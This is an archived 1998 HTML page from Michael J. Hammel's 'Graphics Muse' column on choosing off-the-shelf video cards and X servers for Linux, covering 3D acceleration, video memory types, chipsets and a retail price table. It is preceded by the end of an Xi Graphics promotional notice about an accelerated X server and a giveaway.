<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>OpenGL 1.1.1 libraries, GLX
Server extension</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hardware accelerated 3D support
for:</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Number 9 Revolution IV aka Ticket
to Ride IV</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Intel 740</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Real3D StarFighter,</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth II G460</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>etc</FONT></FONT></LI>
</UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3Dlabs Permedia 2</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire 1000 GL Pro</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA Winner 2000/Office</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>etc</FONT></FONT></LI>
</UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3Dlabs Glint MX & Delta</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ELSA Gloria-XL</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Leadtek L2520</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>etc</FONT></FONT></LI>
</UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SiS 6326</FONT></FONT></LI>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ASUS AGP-V1326</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>etc</FONT></FONT></LI>
</UL>
</UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>8, 15/16, 24/32 bpp if supported
by hardware</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Overlays if supported by hardware</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>multiple concurrent 3D windows,
not just full screen</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Tablet support (Wacom, Summagraphics
protocols)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Spaceball (6DoF) support for
Logitech Magellan</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>For this limited edition of
the product, please contact <A HREF="mailto:devrel@xig.com">devrel@xig.com</A>
to apply for a copy. The Xi Graphics Sales are unable to take
orders for this product as we expect the demand to significantly exceed
the supply!</FONT></FONT></BLOCKQUOTE>
<B><I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Monthly drawings for copies
of Accelerated-X</FONT></FONT></I></B>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics is pleased
to announce that we're giving away free copies of the industry leading
Accelerated-X Display Server. These are full, up to date, legal and
supported copies of the product.</FONT></FONT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>To register to win one of
the two free copies we're giving away every month, either register for
the monthly draw on our web site (<A HREF="http://www.xig.com">http://www.xig.com</A>)
or send email following the directions published below. We do, of
course, have a motive for this. We want to know what Graphics Board,
Monitor, Input devices and Operating Systems you'd most like to use with
Accelerated-X and we want to find out about the kind of machine you use.</FONT></FONT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>To enter the drawing by email,
you must complete an entry form for that months draw. Send the email
to Andrew Bergin (<A HREF="mailto:abergin@xig.com">abergin@xig.com</A>)
with the subject "Free Draw Entry" and include in your message the following
details:</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your Name</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your Company or Organisation</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your Shipping Address</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your Email Address</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>(Optional) Your Web Site
Address</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What make and model of computer,
and processor speed</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The Graphics Card you'd
like to use</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The Monitor you'd like to
use</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your preferred pointing
devices</FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Your preferred operating
system</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There will be a new draw every
month. You must enter each month to be eligible for that months drawing.
Only one submission per person, per drawing will be accepted.</FONT></FONT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The winners name may be put
on our web site and in other promotional material. Information collected,
including your email and physical shipping address, will not be sold to
any third party. We may use your address for our infrequent mailings
unless you write to ask us to remove your name from the mailing list.</FONT></FONT><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Xi Graphics will pay the
cost of shipping only, including international shipping. Any and
all customs charges and/or taxes are the responsibility of the win</FONT></FONT>ner.</BLOCKQUOTE>
<TABLE WIDTH="100%" >
<TR>
<TD VALIGN=TOP COLSPAN="4" BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT><FONT SIZE=-2>© 1998 by <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
</TABLE>
</BODY>
</HTML>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="GENERATOR" CONTENT="Mozilla/4.5b2 [en] (X11; I; Linux 2.0.30 i486) [Netscape]">
<TITLE>Graphics Muse
</TITLE>
</HEAD>
<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#660000" VLINK="#666666" ALINK="#FF6600">
<!-- =============================================================
These pages are designed by Michael J. Hammel. Permission to
use all graphics and other content is granted provided you give
me (or the original authors/artists) credit for the work and this
copyright notice is not removed.
(c)1997, 1998 Michael J. Hammel (mjhammel@graphics-muse.org)
============================================================= !-->
<BR><IMG SRC="../gx/hammel/musings.jpg" HEIGHT=50 WIDTH=245>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT WIDTH="100%"><FONT SIZE=-2>© 1998 <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
<TR>
<TD VALIGN=TOP BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<TABLE BORDER=0 COLS=3 WIDTH="100%" NOSAVE >
<TR NOSAVE>
<TD ALIGN=LEFT VALIGN=TOP WIDTH="140" NOSAVE>
<TABLE BORDER CELLSPACING=0 CELLPADDING=2 COLS=1 WIDTH="100%" HEIGHT="100%" BGCOLOR="#FE992B" NOSAVE >
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#video-cards">Off
the shelf video cards: Choosing the right solution the first time.</A></FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><A HREF="#metro-xinput">Metro
Link X Input Support</A></FONT></FONT></TD>
</TR>
</TABLE>
</TD>
<TD WIDTH="1" NOSAVE></TD>
<TD ALIGN=LEFT VALIGN=TOP NOSAVE>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=3 COLS=1 WIDTH="100%" NOSAVE >
<TR>
<TD><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>more musings...</FONT></FONT></B></TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
<HR SIZE=1 NOSHADE WIDTH="100%">
<BR><A NAME="video-cards"></A><B><FONT FACE="Arial,Helvetica"><FONT SIZE=+1>Off
the shelf video cards: Choosing the right solution the first time</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Video cards have come a long
way in the past 2 years. Back then a video card was considered top
of the line if it handled generic 2D acceleration features and state of
the art encompassed the first of the new generation of 3D accelerators.
These days 2D acceleration is common place and an expected feature of video
cards and 3D acceleration is not only more common but more standardized.
In this article we'll take a look at finding off the shelf video cards,
that is video cards available from your local computer retailers or by
mail order, and how to match those cards with an X server.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A little background</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>X servers are the device
drivers used in conjunction with video cards in order to display your windowing
system under Linux. Unlike the Microsoft world, where each card has
its own driver, X servers tend to support many cards with a single driver.
For example, the XF86_SVGA driver from the XFree86 distribution supports
many older SuperVGA cards plus the more advanced Matrox Millenium and Mystique
cards. Xi Graphics AcceleratedX server supports all of its cards
with a single server that uses dynamically loaded modules depending on
which video card you happen to be using and have configured. The
trick is to understand which X server to use for the video card you are
using.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Since X servers work with
more than one card, they tend to list which video chipset they support.
This is because many cards use similar chipsets and it is difficult for
X server vendors, who up until recently had to work independent of the
video card manufacturers much of the time, to keep up with all the different
video card product names. Video card manufacturers tend to use the
same, relatively small, set of video chipsets for their own product lines
so having a single X server to handle that entire line makes a little more
sense than having a individual drivers for every card.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Why am I doing this?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Ordinary users don't really
understand about chipsets, they only see the card names from manufacturers:
ATI Graphics Pro Turbo or Hercules Dynamite, for example. Additionally,
video card manufacturers are notorious for NOT specifying the chipsets
they use in their cards. They also tend to try and hide minor video
card differences with name changes and pricing differences - its called
carrying a product line. Video hardware vendors are used to delivering
device drivers with their hardware for the traditional desktop user, ie
Microsoft users.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>X servers are written by
individuals or groups, outside the hardware vendors control, with chipsets
in mind. The servers (we call them servers because of the underlying
X Windows architecture, but they are still just device drivers) are distributed
on their own, not with the video hardware. This is mostly because
hardware vendors, in the past, really saw little market demand for doing
the work on the X servers themselves. So external entities had to
do the work on their own.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>So video hardware vendors
sell video cards based on product names without X servers and X server
software is written and described in terms of chipsets and not specific
video cards. Confused? You're not alone. So how does
an end user resolve these different approaches and find a working combination
of video card and X server? This article won't give absolute answers
for all the cards available off the shelves, but it will help educate new
users as to how things work and what to look for when preparing to make
a new video card purchase.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>I assume here that you're
reading this with an intent to purchase a new video card sometime in the
near future, or that you have done so in the recent past and are trying
to figure out how to make it work under X Windows with Linux.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What's the deal with all
the 3D stuff?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D hardware accelerators
are hot items. You can hardly find video cards on the shelves of
your local retailers that don't mention some form of 3D support or features.
But what exactly is 3D? And more important, do you need it?</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D cards often provide at
least some of the following hardware acceleration features:</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1><I>Fast computation of 3D
objects</I>.</FONT></FONT>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D objects are made
up of any number of various sized triangles. Computing the position
and size of these triangles is very computationally expensive. 3D
video cards can help speed up those computations.</FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Texture map memory.</FONT></FONT></I>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>You'll often here
individual units of texture memory referred to as texels. These are
used to speed up the mapping of images to flat surfaces which can be used
as a trick for high speed motion. Its very slow to generate a tree,
for example, from a large number of individual triangles than from one
large flat one with a picture of a tree on it. Done properly you
might not even be able to tell this trick has been used.</FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Z-buffering.</FONT></FONT></I>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The mapping of images
into 3D space in video memory. If you think of 2D space as the XY
axis of a coordinate plane then the Z axis would be used to show distance
in 3D space.</FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Flat and Gouroud shading.</FONT></FONT></I>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>The latter being
what gives a smooth 3D apperance to a sphere, for example.</FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Shadow mapping.</FONT></FONT></I>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>This allows programmers
to associate shadows with objects without having to calculate the shadow
at run time. Shadows are cast via calculations of how light moves
in 3D and that can be very computationally expensive.</FONT></FONT></BLOCKQUOTE>
<I><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Bilinear filtering.</FONT></FONT></I>
<BLOCKQUOTE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>A technique that
reduces artifacts when small graphics are scaled up.</FONT></FONT></BLOCKQUOTE>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Many cards provide far more
features than this as well, all of which have to do with taking an object
described in 3D space and displaying it (and other objects) on a flat 2D
monitor. Older 3D cards - those over a year or so in age - often
had their own proprietary interface in order to access the accelerated
features. This has been superceded recently by more popular interfaces
(called API's for Application Programming Interfaces) such as OpenGL (or
Mesa, a free implementation of OpenGL) or the 3Dfx Glide interface.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Making use of 3D hardware
acceleration requires that you have</FONT></FONT>
<OL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>An X server or other video driver
that can drive this card.</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Application software that knows
how to speak the API for that card. Usually this is an application
that speak OpenGL/Mesa or Glide on Linux systems. The way this works
is that the application speaks the API language only and doesn't care if
3D acceleration is done in hardware or software. The API, ie OpenGL
or Glide, then understands how to use hardware acceleration. In some
cases this will be by direct support from the X server and in other cases
it will be by utilizing a separate driver for the 3D card.</FONT></FONT></LI>
<P><BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There are also cards
that support Microsoft's Direct3D API, an alternative to the OpenGL API.
Don't bother with these cards if you are looking for 3D acceleration because
as of now there are not only no drivers for them, there aren't any applications
on Linux that speak this API language.</FONT></FONT></OL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>At the moment there are not
that many OpenGL/Mesa applications that end users might be interested in.
A few 3D modellers, such as AC3D or 3dom, use OpenGL but most of the support
for OpenGL comes in the form of windowing toolkit extensions. These
are developers tools and beyond the scope of this discussion.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D video cards under Linux
normally work in one of three ways:</FONT></FONT>
<OL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>mulitple cards using pass through
cables</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>mulitple cards using multiple
monitors</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>single card handling both 3D
acceleration and standard SVGA (2D) acceleration</FONT></FONT></LI>
</OL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>In the fist two cases you have
two cards: your regular VGA/2D card and the 3D video card.
You would have an external driver that runs the 3D card while using your
X server to drive your regular video card. This is how the early
support for Voodoo cards (Voodoo is a chipset from 3Dfx used in various
3D cards produced by other manufacturers) in Mesa worked (see the 3Dfx
Howto). With pass through cables you had your regular VGA output
passed through your 3D card which would pass it directly to its output
port unless a 3D driver had turned the card "on". Once enabled, the
3D card would ignore the signal coming from the 2D card. This works
fine most of the time unless your 3D application dies and doesn't tell
the 3D card to start passing through the 2D signal again. In either
case where multiple cards are used the standard VGA card knows nothing
about the 3D card and works just like it always has.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>If your X server supports
the 3D card directly you can skip using two cards and run just the 3D card.
In some situations you won't get the 3D acceleration but will get to use
the generally faster 2D features of that card. And there are some
X servers that will provide the 3D acceleration too, so you get the best
of both worlds.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Hardware issues of 3D
cards</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>You can run PCI or the new
AGP buses with these 3D video cards. AGP is Intel's Advanced Graphics
Port which allows faster throughput between the CPU and graphics cards.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Older cards used VRAM or
EDO DRAM memory. Newer cards run the faster SVRAM or SGRAM.
Not being hardware literate all I can say is that the SGRAM is reported
to be much faster due to the way it is more closely tied into the video
processor than the other forms of video memory. I asked Jeremy Chatfield
at Xi Graphics and Paul Sargent at 3Dlabs for an explanation of these memory
types. Jeremy provided the following answer:</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Basic differences:</FONT></FONT>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>VRAM & WRAM: dual ported
(graphics engine & DAC have concurrent access) DRAM/EDO DRAM/SDRAM:
single ported; GE or DAC SGRAM: packetised memory interface</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>WRAM allows some graphics operations
without the graphics engine (GE); e.g. some types of BLIT can be done without
GE or host processor time. WRAM is part of the reason for the high
speed of the Millennium and Number 9 boards that use it.</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>DRAM is slower than VRAM because
the GE can only write when the DAC is not reading memory. The higher
the refresh rate, the less time the GE has. The effect is alleviated
by EDO (Extended Data Out) which means that the output is held for some
time, so that the GE can write while the DAC is still reading the EDO values.</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>SGRAM & MDRAM are new forms
of packetised memory that can allow higher speeds and lower costs.
WRAM and VRAM are still important. Probably the fastest combination
for a board would be WRAM or VRAM for display memory and SGRAM for the
non-display (double buffer/Z-Buffer/texture etc)</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Paul provided <A HREF="gm_paul.html">similar
information</A> but in quite a bit more detail.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Some 3D cards also offer
NTSC output plugs so you can connect the card to a TV, presumably to get
a larger physical screen (although at the same resolution). I've
never seen this however so can't really say much about its use.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Do you need 3D acceleration?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>For the most part, no.
Outside of games or visualization software it doesn't come into play much
for the average Linux user. For example, it doesn't speed up word
processing, the Gimp, or POV-Ray renders (which are CPU and memory bound).
If you *are* into games or need off the shelf 3D support for visualization
software (ie realtime 3D rendering with OpenGL or Mesa) then it can provide
significant increases in speed for rendering operations. The problem
is that support for the 3D hardware acceleration is just beginning to show
up within the X servers themselves and running concurrent video cards (one
for 2D and one for 3D) is not for the technically challenged.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Instead, look to these cards
for their future potential. Cards that support either OpenGL (which
is likely to be around for some time) or 3Dfx's Glide API (which is quite
popular with game enthusiasts on non-Unix platforms) are your best bet
right now. Additionally, they're increased 2D acceleration will be
a significant benefit to you in your day to day use.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What happened to 2D?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Nothing, its still there
and basically everybody supports it now. 2D accerlation has to do
with generic line drawing techniques, which speeds the drawing of windows
for example. Any modern card - something made within the past 2 years
- will support 2D acceleration. The advantage with newer cards is
that they use faster memory and better acceleration for these 2D effects
so ordinary use of windowing applications will look and feel much improved
over older cards.</FONT></FONT>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Most cards now come with
1M or 2M of memory which will get you resolutions of about 1024x768 @ 65K
colors. But the cost of these cards has dropped drastically in the
past year or so and getting a card with 4M of video memory will get you
1280x1024 @ 16 million colors, certainly good enough for most applications
and reasonably affordable monitors. Go higher (more memory - 8Mb
or higher) only if 3D work is of real importance to you or if you expect
to have very large displays running at full 24-bit color depths.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What are currently the
popular chipsets?</FONT></FONT></B>
<UL>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3Dfx's Voodoo, Voodoo2 and Permedia
2 (the latter being the low end set)</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>NVidia's RIVA 128 and TNT</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Cirrus Logic's Rendition Verité</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Intel's i740</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Matrox G200/G100</FONT></FONT></LI>
<LI>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI has a number of chipsets
but all are very similar. Some familiar ones are Mach64 and RAGE
and RAGE II</FONT></FONT></LI>
</UL>
<FONT FACE="Arial,Helvetica"><FONT SIZE=-1>There are lots of others for
various other cards but these seem to have the most noise being made about
them in the press and certainly seem to have the biggest presence in cards
available at the local retail outlets.</FONT></FONT>
<P><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>What is on the shelves
now?</FONT></FONT></B>
<P><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Note that this is only based
on what I found at three local retailers (although all three are national
in scope) or via C|Net's <A HREF="http://www.computers.com">Computers.com</A>.
Also, prices vary depending on the amount of video memory on the card,
so just use these prices as guidelines. All prices are in US dollars.
I've tried to list the chipsets for these cards if I could find them.
Finally, these cards may be PCI, AGP or both - you'll just have to check
on that aspect on your own.</FONT></FONT>
<BR>
<CENTER><TABLE BORDER=0 CELLSPACING=3 CELLPADDING=0 COLS=3 WIDTH="75%" NOSAVE >
<TR NOSAVE>
<TD NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Video Card</FONT></FONT></B></TD>
<TD WIDTH="120" NOSAVE><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Chipset</FONT></FONT></B></TD>
<TD><B><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Price</FONT></FONT></B></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI All in Wonder </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D Rage II</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$125</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI All in Wonder Pro </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D Rage Pro</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$151</FONT></FONT></TD>
</TR>
<TR NOSAVE>
<TD NOSAVE><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert@Play PCI
and AGP</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>3D Rage Pro</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$150</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Xpert 98</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>ATI Rage Turbo</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$90</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
Extreme, Professional Edition</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$183</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster
Extreme, Value Edition</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$53</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Creative Labs Graphics Blaster </FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>RIVA TNT</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$175</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth II S220</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Rendition Verite</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$100</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster 3D</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$250</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Monster II</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Voodoo 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$250</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Viper V330</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>RIVA 128</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$130</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$???</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Fire GL 1000 Pro</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$144</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Diamond Stealth 2000</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>S3 ViRGE</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$???</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa GLoria Synergy</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$120</FONT></FONT></TD>
</TR>
<TR>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Elsa WINNER 2000 / Office</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>Permedia 2</FONT></FONT></TD>
<TD><FONT FACE="Arial,Helvetica"><FONT SIZE=-1>$???</FONT></FONT></TD>
</TR>
<TR>
